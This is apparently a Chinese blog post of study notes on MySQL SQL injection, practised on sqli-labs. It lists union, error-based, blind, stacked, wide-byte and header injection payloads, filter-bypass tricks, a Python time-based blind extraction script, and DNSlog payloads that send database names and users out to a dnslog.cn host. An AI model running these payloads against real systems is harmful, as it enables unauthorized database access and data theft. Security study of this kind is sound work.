MySQL注入较全总结

安全学习 17 浏览 8 分钟阅读
文章目录

一览

声明:归纳总结的有引自其他博客内容,但是具体操作实践皆为本人完成。

sql类型

引用自SpringU师傅,以此为大纲一一总结主要为mysql注入的相关操作。

sql注入为何

攻击者通过在输入字段或请求中注入恶意的 SQL 语句,操控数据库执行意图之外的操作。可能导致窃取敏感数据、绕过身份验证、修改删除数据库内容、执行系统命令等。

如何注入

普通注入

数字型:

测试步骤:

(1) 加单引号,URL:xxx.xxx.xxx/xxx.php?id=3’;

对应的sql:select * from table where id=3′ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;

(2) 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=1;

对应的sql:select * from table where id=3′ and 1=1 语句执行正常,与原始页面没有差异;

(3) 加and 1=2,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=2;

对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异;

字符型

测试步骤:

(1) 加单引号:select * from table where name=’admin”;

由于加单引号后变成三个单引号,则无法执行,程序会报错;

(2) 加 ‘ and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1′ ,也无法进行注入,还需要通过注释符号将其绕过;

因此,构造语句为:select * from table where name =’admin’ and 1=–‘ 可成功执行返回结果正确;

(3) 加and 1=2— 此时sql语句为:select * from table where name=’admin’ and 1=2–’则会报错;

如果满足以上三点,可以判断该url为字符型注入。

判断列数:

?id=1′ order by 4# 报错

?id=1′ order by 3# 没有报错,说明存在3列

爆出数据库:

?id=-1′ union select 1,database(),3–+

?id=-1′ union select 1,group_concat(schema_name),3 from information_schema.schemata#

爆出数据表:

?id=-1′ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’数据库’#

爆出字段:

?id=-1′ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’数据表’#

爆出数据值:

?id=-1′ union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名–+

一些函数:

system_user() 系统用户名

user() 用户名

current_user 当前用户名

session_user()连接数据库的用户名

database() 数据库名

version() MYSQL数据库版本

load_file() MYSQL读取本地文件的函数

@@datadir 读取数据库路径

@@basedir MYSQL 安装路径

@@version_compile_os 操作系统

多条数据显示函数:

concat()、group_concat()、concat_ws()

报错注入

extractvalue函数:

?id=1′ and extractvalue(1, concat(0x7e,(select @@version),0x7e))–+ (爆出版本号)

?id=1′ and extractvalue(1, concat(0x7e,(select @@version_compile_os),0x7e))–+ (爆出操作系统)

?id=1′ and extractvalue(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e))–+ (爆数据库)

?id=1′ and extractvalue(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 3,1),0x7e))–+ (爆数据表)

?id=1′ and extractvalue(1, concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 3,1),0x7e))–+(爆字段)

?id=1′ and extractvalue(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e))–+ (爆数据)

updatexml函数:

细节问题: extractvalue()基本一样,改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上,如:(1,concat(select @@version),1),而extractvalue函数末尾不加1(数值)

?id=1′ and updatexml(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e),1)–+ (爆数据库)

?id=1′ and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)–+ (爆数据表)

?id=1′ and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 3,1),0x7e),1)–+ (爆字段)

?id=1′ and updatexml(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e),1)–+

exp函数溢出错误:

在mysql>5.5.53时,则不能返回查询结果

floor函数:

?id=1′ union select 1,count(),concat(0x7e,(select database()),0x7e,floor(rand(0)2))a from information_schema.schemata group by a–+

?id=1′ union select 1,count(),concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a–+ (爆数据库,不断改变limit得到其他)

?id=1′ union select 1,count(),concat(0x7e,(select table_name from information_schema.tables where table_schema=’security’ limit 3,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a–+ (爆出users表)

?id=1′ union select 1,count(),concat(0x7e,(select column_name from information_schema.columns where table_name=’users’ limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a–+ (爆出password字段)

?id=1′ union select 1,count(),concat(0x7e,(select password from security.users limit 2,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a–+ (爆出数值)

时间盲注

判断注入点:

?id=1′ and sleep(5)–+ //正常休眠

?id=1″ and sleep(5)–+ //无休眠

?id=1′) and sleep(5)–+//无休眠

?id=1″) and sleep(5)–+//无休眠

?id=1′ and if(length(database())=8,sleep(10),1)–+

爆出数据库:

?id=1′ and if(ascii(substr(database(),1,1))=115,1,sleep(10))–+

通过判断服务器没有睡眠,ascii码转换115为s ,那么就得出数据库第一个字符为s,下面就可以一次类推了,就不一

substr(database(),N,1)可以通过改变N的值来判断数据的地几个字符为什么

爆出数据表:

?id=1′ and if((select ascii(substr((select table_name from information_schema.tables where table_schema=”security”limit 0,1),1,1)))=101,sleep(5),1)– –

解释:security的第一张表的第一个字符ascii为101,为字符e

limit 0,1),N,1还是改变N的的得出第二个字符

再判断字符(ascii判断)

?id=1″ and if(ascii(substr(database(),1,1))>115,1,sleep(3))–+

(left语句判断)

?id=1′ and if(left(database(),1)=’s’,sleep(10),1) –+

?id=1′ and if(left(database(),2)=’sa’,sleep(10),1) –+

Substring函数判断

type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1=’a’),11111,sleep(1))–+

盲注代码:

import requests
import time

headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
for l in range(1,20):
    Url = 'http://192.168.10.128/sqli-labs-master/Less-6/?id=1" and if(length(database())>{0},1,sleep(3))--+'
    UrlFormat = Url.format(l)      #format()函数使用
    start_time0 = time.time()       #发送请求前的时间赋值
    requests.get(UrlFormat,headers=headers)
    if  time.time() - start_time0 > 2:  #判断正确的数据库长度
            print('database length is ' + str(l))
            global length 
            length = l  #把数据库长度赋值给全局变量
            break
    else:
        pass
for i in range(1,length+1):
    for char in chars:
        charAscii = ord(char) #char转换为ascii
        url = 'http://192.168.10.128/sqli-labs-master/Less-6/?id=1" and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'
        urlformat = url.format(i,charAscii)
        start_time = time.time()
        requests.get(urlformat,headers=headers)
        if  time.time() - start_time > 2:
            database+=char
            print('database: ',database)
            break
        else:
            pass
print('database is ' + database)

布尔注入

Left判断

?id=1′ and left(database(),1)=’s’ –+

?id=1′ and left(database(),2) > ‘sa’ –+

Like语句判断

?id=1′ and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like ‘e%’–+

Ascii语句判断

and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115–+

堆叠注入

?id=1′ order by 3%23

?id=1′;show tables%23

?id=-1′;show columns from 1919810931114514%23

?id=1′; insert into users(id,username,password) values(88,’aaa’,’bbb’)#

二次注入

二次注入一般是用于白盒测试、黑盒测试就算是找到注入也没办法攻击。
sqlilab lesson-24为例子

加密解密注入

Cookie: uname=YWRtaW4%3D

YWRtaW4%3D这是一个base64加密的字符串其中%3D是编码中的=符号,把他发送到编码模块当中解密,得到明文

发现这个是注入点需要将原来的注入方式重新加密发送给服务器,可以构造注入语句进行base64加密进行报错注入

Dnslog对外注入

通常我们面对SQL注入过程中没有回显的情况下,只能通过盲注的方式来判断是否存在SQL注入,但是,使用盲注,手工测试是需要花费大量的时间的,可能会想到使用sqlmap直接去跑出数据,但在实际测试中,使用sqlmap跑盲注,有很大的几率,网站把ip给封掉,这就影响了我们的测试进度,也许你也可以使用代理池

注入语句:

?id=1′ and (select load_file(concat(‘\’,(select hex(user())),’.682y4b.dnslog.cn/abc’))) –+

?id=1′ and (select load_file(concat(‘\’,(select database()),’.682y4b.dnslog.cn/abc’))) –+

中转注入

比如受害者网站URL注入点是经过编码的,不能直接结合sqlmap进行漏洞利用,所以本地搭建一个网站,写一个php脚本编码文件,就可以结合sqlmap工具进行测试。

因为,注入点经过复杂编码之后,就不能直接结合sqlmap进行漏洞攻击了。或者sqlmap自己编写tamper脚本进行攻击

可参考:https://blog.csdn.net/weixin_40412037/article/details/110088186

搜索框注入

注入payload:

%’ and ‘%1%’=’%1

%’ and ‘%1%’=’%2

Sql数据库语句:select * from sqltest where names like ‘%要查询的关键字%’

a%’ and 1=1– 正常

a%’ and 1=2– 错误

有搜索数据的框可以试试加个%总能大力出奇迹

宽字节注入

前提

1.使用了addslashes()函数

2.数据库设置了编码模式为GBK

原理:前端输入%df时,首先经过addslashes()转义变成%df%5c%27,之后,在数据库查询前,因为设置了GBK编码,GBK编码在汉字编码范围内的两个字节都会重新编码成一个汉字。然后mysql服务器会对查询的语句进行GBK编码,%df%5c编码成了“运”,而单引号逃逸了出来,形成了注入漏洞

?id=%df’ and 1=1 –+

?id=%df’ and 1=2 –+

?id=-1%df’ union select 1,2,3 %23

Cookie注入

主要是看看程序员有没有在cookie中做了一些过滤,我们有没有可趁之机。

Cookie: ‘ order by 4–+

X-Forwarded-For注入

代表客户端真实的IP,通过修改X-Forwarded-for的值可以伪造客户端IP

尝试抓包添加插入X-Forwarded-For:127.0.0.1头进行sql注入

Between注入

主要用于盲注看页面是否有变化,原理如下,例如username的字符内容是test1,第一个字符是t,a到b搜索不了,页面不正常。 a到t就有了,页面正常

mysql语句: select * from users where id =1 and substr(username,1,1) between ‘a’ and ‘b’;

select * from users where id =1 and substr(username,1,1) between ‘a’ and ‘t’;

limit注入

mysql语句: select * from limit test limit 1,[可控点] or select … limit [可控点]

limit后面能够拼接的函数只有into和procedure,into可以用来写文件,本文我们不考虑。在Limit后面 可以用 procedure analyse()这个子查询,而且只能用extractvalue 和 benchmark 函数进行延时

procedure analyse(updatexml(rand(),concat(0x3a,benchmark(10000000,sha1(1)))),1)

select id from users;

select id from users limit 0,1 union select username from users;

select field from user where id >0 order by id limit 1,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

基于时间盲注:

SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

order by注入

select * from 表名 order by 列名(或者数字) asc;升序(默认升序)

select * from 表名 order by 列名(或者数字) desc;降序

当页面出现mysql报错信息时,注入点在 order by后面,此时可以利用报错信息进行注入,尝试报错注入

?sort=1 and(select extractvalue(0x7e,concat(0x7e,database(),0x7e)))

?sort=(select 1 from(select 1 and if(ascii(substr((user()),1,1))=114,sleep(5),1))x)

Sql注入绕过姿势

绕过空格

两个空格代替一个空格,用Tab代替空格,%a0=空格:

payload:

%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/

最基本的绕过方法,用注释替换空格: /* 注释 */

括号绕过空格

mysql语句:select(user())from dual where(1=1)and(2=2)

这种过滤方法常常用于time based盲注,例如:

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

绕过引号

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

select column_name from information_schema.tables where table_name=0x7573657273

绕过逗号

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);

select mid(database() from 1 for 1);

使用join:

union select 1,2#

等价于 union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80 #

等价于 select user() like ‘r%’

对于limit可以使用offset来绕过:

select * from news limit 0,1 #

等价于下面这条SQL语句 select * from news limit 1 offset 0

绕过比较符号()

(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本):

使用greatest()、least():(前者返回最大值,后者返回最小值)

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。 最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。 那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

Between注入

主要用于盲注看页面是否有变化,原理如下,例如username的字符内容是test1,第一个字符是t,a到b搜索不了,页面不正常。 a到t就有了,页面正常

使用between and:

使用between and:

between a and b:

between 1 and 1; 等价于 =1

or and xor not绕过:
and=&& or=|| xor=| not=!

绕过注释符

(#,–(后面跟一个空格))过滤:

id=1′ union select 1,2,3||’1

最后的or ‘1闭合查询语句的最后的单引号,或者:

id=1’ union select 1,2,’3

绕过等于号

使用like 、rlike 、regexp 或者 使用< 或者 >

绕过union,select,where等:

(1)使用注释符绕过:

常用注释符://,– , /**/, #, –+, — -, ;,%00,–a

用法:U// NION // SE// LECT //user,pwd from user

(2)使用大小写绕过:

id=-1’UnIoN/**/SeLeCT

(3)内联注释绕过:

id=-1’/!UnIoN/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /!WHERE //!TaBlE_ScHeMa/ like database()#

(4) 双关键字绕过(若删除掉第一个匹配的union就能绕过):

id=-1’UNIunionONSeLselectECT1,2,3–-

一些问题

  1. 报错注入可以用到的函数有哪些
    • 常用函数: updatexml()、extractvalue()、floor()、GeometryCollection()、Polygon()等。
    • 原理: 利用这些函数在特定条件下产生的错误信息中包含注入信息。
      最常见的SQL报错注入函数
  2. 时间盲注如果sleep函数被过滤了,我可以怎么去注
    MySQL时间盲注五种延时方法
  3. sql注入写入文件需要哪些权限和配置就可以写入
    sql注入之高权限注入和文件读写
    各种数据库提权姿势总结

参考文章

浅谈Sql注入
SQL时间盲注python脚本
SQL注入 Bypass

1

  1. bolerat
    bolerat 文章作者

    todo:sqlmap使用方法和再做一下sqlilabs

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

©2025 By Bolerat
津ICP备2025038187号